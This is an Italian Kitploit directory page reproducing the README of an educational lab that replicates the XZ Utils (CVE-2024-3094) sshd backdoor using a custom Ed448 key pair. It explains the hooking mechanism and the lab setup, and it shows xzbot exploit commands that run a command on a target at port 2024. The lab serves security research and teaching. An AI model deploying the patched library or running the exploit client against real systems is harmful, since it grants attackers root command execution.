Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-3094 — Laboratorio didattico che replica il backdoor XZ Utils (CVE-2024-3094) con una coppia di chiavi Ed448 personalizzata. Include liblzma patchato, servizio systemd e client di exploit per ricerca sulla sicurezza autorizzata. | Kitploit
Strumenti/GitHubGitHub/h3raklez/cve-2024-3094
Analisi delle VulnerabilitàExploitAnalisi MalwareCrittografiaPenetration TestingSicurezza della Supply ChainApprendimento e FormazioneLab e Pratica
GitHubh3raklez/cve-2024-3094

CVE-2024-3094

Laboratorio didattico che replica il backdoor XZ Utils (CVE-2024-3094) con una coppia di chiavi Ed448 personalizzata. Include liblzma patchato, servizio systemd e client di exploit per ricerca sulla sicurezza autorizzata.

Vedi Repository
35 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-3094 — Backdoor di XZ Utils

Solo per scopi educativi e di ricerca sulla sicurezza autorizzati.

Descrizione della vulnerabilità

CVE-2024-3094 è una backdoor introdotta nelle versioni 5.6.0 e 5.6.1 di XZ Utils (liblzma), scoperta il 29 marzo 2024 dal ricercatore di sicurezza Andres Freund. Le è stato assegnato un punteggio CVSS di 10.0 (Critico).

Si tratta di un attacco alla supply chain condotto per oltre due anni da un attore malevolo noto come "Jia Tan" (JiaT75), che ha costruito fiducia all'interno del progetto fino a ottenere lo status di co-maintainer e ha introdotto la backdoor direttamente nei tarball di distribuzione.

Meccanismo tecnico

La backdoor opera come segue:

  1. La liblzma.so malevola aggancia la funzione RSA_public_decrypt() in OpenSSH tramite il meccanismo IFUNC di glibc, intercettando il processo di autenticazione SSH.
  2. Quando un client si connette, la backdoor valuta un campo specifico nel certificato SSH presentato.
  3. Se quel campo contiene un payload cifrato con ChaCha20 e firmato con una specifica chiave privata Ed448, la backdoor esegue il comando incorporato tramite system() con i privilegi di sshd (root).
  • Se la firma non è valida, sshd continua il suo normale flusso senza anomalie.
  • Requisiti per lo sfruttamento

    • Sistema con glibc (supporto IFUNC)
    • XZ Utils 5.6.0 o 5.6.1 installati
    • sshd avviato da systemd (requisito critico — l'hooking IFUNC non si attiva se sshd viene avviato manualmente dalla riga di comando)
    • Sistema x86-64

    Distribuzioni originariamente colpite

    • Fedora Linux 40 beta / Rawhide
    • Debian unstable, testing, experimental
    • Kali Linux
    • Arch Linux (immagini tra il 2024-02-24 e il 2024-03-28)

    Ambiente di laboratorio

    Questo laboratorio replica il meccanismo della backdoor utilizzando chiavi Ed448 personalizzate invece delle chiavi dell'attore originale (mai rese pubbliche).

    Perché usiamo chroot

    Nei sistemi reali colpiti non c'era chroot. La backdoor operava direttamente sull'sshd del sistema, che caricava la liblzma.so malevola come qualsiasi altra libreria condivisa — completamente trasparente per il sistema e i suoi amministratori.

    In questo laboratorio usiamo chroot esclusivamente per un motivo pratico: abbiamo bisogno di eseguire un sshd con una versione specifica di liblzma.so senza sostituire le librerie del sistema host. Questa è una decisione di progettazione per l'ambiente di ricerca, non un riflesso di come la backdoor operava in produzione.

    Componenti

    ComponenteDescrizione
    env_fs/Filesystem minimo di Ubuntu 22.04 usato come chroot
    env_fs/usr/lib/x86_64-linux-gnu/liblzma.so.5liblzma 5.6.1 patchata con chiave Ed448 personalizzata
    /etc/systemd/system/xzback.serviceServizio systemd che avvia sshd vulnerabile sulla porta 2024
    /xzbot/xzbotClient exploit compilato dal sorgente

    Stack di destinazione

    • Ubuntu 22.04.1 LTS AMD64
    • glibc 2.35
    • OpenSSH 8.9p1
    • systemd 249
    • liblzma 5.6.1 (patchata)

    Modifiche apportate per questo target

    La backdoor originale richiede condizioni molto specifiche che non esistono automaticamente in un ambiente di laboratorio. Sono state necessarie le seguenti modifiche:

    1. Sostituzione di liblzma.so

    La liblzma.so.5 inclusa nel repository originale di MagpieRYL utilizza una chiave Ed448 sconosciuta che è inconsistente con il binario xzbot incluso. La liblzma.so.5.6.1 originale e autentica è stata scaricata dallo snapshot Debian (sha256 verificato) e patchata usando patch.py da amlweems/xzbot con seed=0:

    root@kitploit:~
    original sha256:  605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4
    patched sha256:   ea7206ab4b0c3479ff1b478c8803adc9e7aeba243254a9f601b626ef8aa80e3d
    patched offset:   0x24470
    

    La chiave pubblica Ed448 dell'attore originale è stata sostituita con:

    root@kitploit:~
    5b 3a fe 03 87 8a 49 b2 82 32 d4 f1 a4 42 ae bd
    e1 09 f8 07 ac ef 7d fd 9a 7f 65 b9 62 fe 52 d6
    54 73 12 ca ce cf f0 43 37 50 8f 9d 25 29 a8 f1
    66 91 69 b2 1c 32 c4 80 00
    

    2. Type=simple nel servizio systemd

    Il servizio originale usa Type=notify, che richiede che sshd invii una notifica di avvio a systemd. L'sshd all'interno del chroot non la invia, causando timeout. Modificato in Type=simple.

    3. Directory chroot effimere

    sshd richiede /run/sshd per la separazione dei privilegi. Questa directory non esiste nel chroot e viene cancellata a ogni riavvio perché run/ è un tmpfs. Risolto con un ExecStartPre che la rigenera automaticamente prima di ogni avvio del servizio.


    Utilizzo

    Exploit dalla stessa macchina

    root@kitploit:~
    ./xzbot -addr 127.0.0.1:2024 -cmd 'echo pwned > /tmp/result'
    cat /home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/result
    

    Exploit da un'altra macchina

    root@kitploit:~
    ./xzbot -addr <TARGET_IP>:2024 -cmd 'echo pwned > /tmp/result'
    

    Posizione dei file generati dall'exploit

    Il comando viene eseguito all'interno del chroot, quindi qualsiasi file creato sotto /tmp/ nel contesto della backdoor viene archiviato in:

    root@kitploit:~
    /home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/
    

    Cioè, se il comando è echo pwned > /tmp/result, il file si troverà in:

    root@kitploit:~
    /home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/result
    

    Per localizzare qualsiasi file generato dall'exploit:

    root@kitploit:~
    find /home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/ -type f
    

    Nota su handshake failed: EOF

    Il messaggio ssh: handshake failed: EOF è il comportamento atteso e corretto. La backdoor esegue il comando e chiude la connessione senza stabilire una sessione SSH. Non indica un fallimento.


    Importante

    Questo laboratorio utilizza un paio di chiavi crittografiche personalizzate (seed=0). La liblzma.so patchata accetta solo payload firmati con la corrispondente chiave privata, che è quella usata dallo xzbot compilato in questo ambiente. Qualsiasi altro client riceverà EOF senza esecuzione.


    Riferimenti

    • Divulgazione originale di Openwall
    • amlweems/xzbot
    • MagpieRYL/CVE-2024-3094-backdoor-env-container
    • Articolo di Datadog Security Labs
    • Wikipedia — Backdoor di XZ Utils

    Dichiarazione di non responsabilità

    Questo strumento è fornito solo per scopi educativi e test di sicurezza autorizzati. L'uso non autorizzato contro sistemi di cui non si possiede o non si ha esplicita autorizzazione scritta per testarli è illegale. L'autore non è responsabile per qualsiasi uso improprio.

    Scarica lo strumento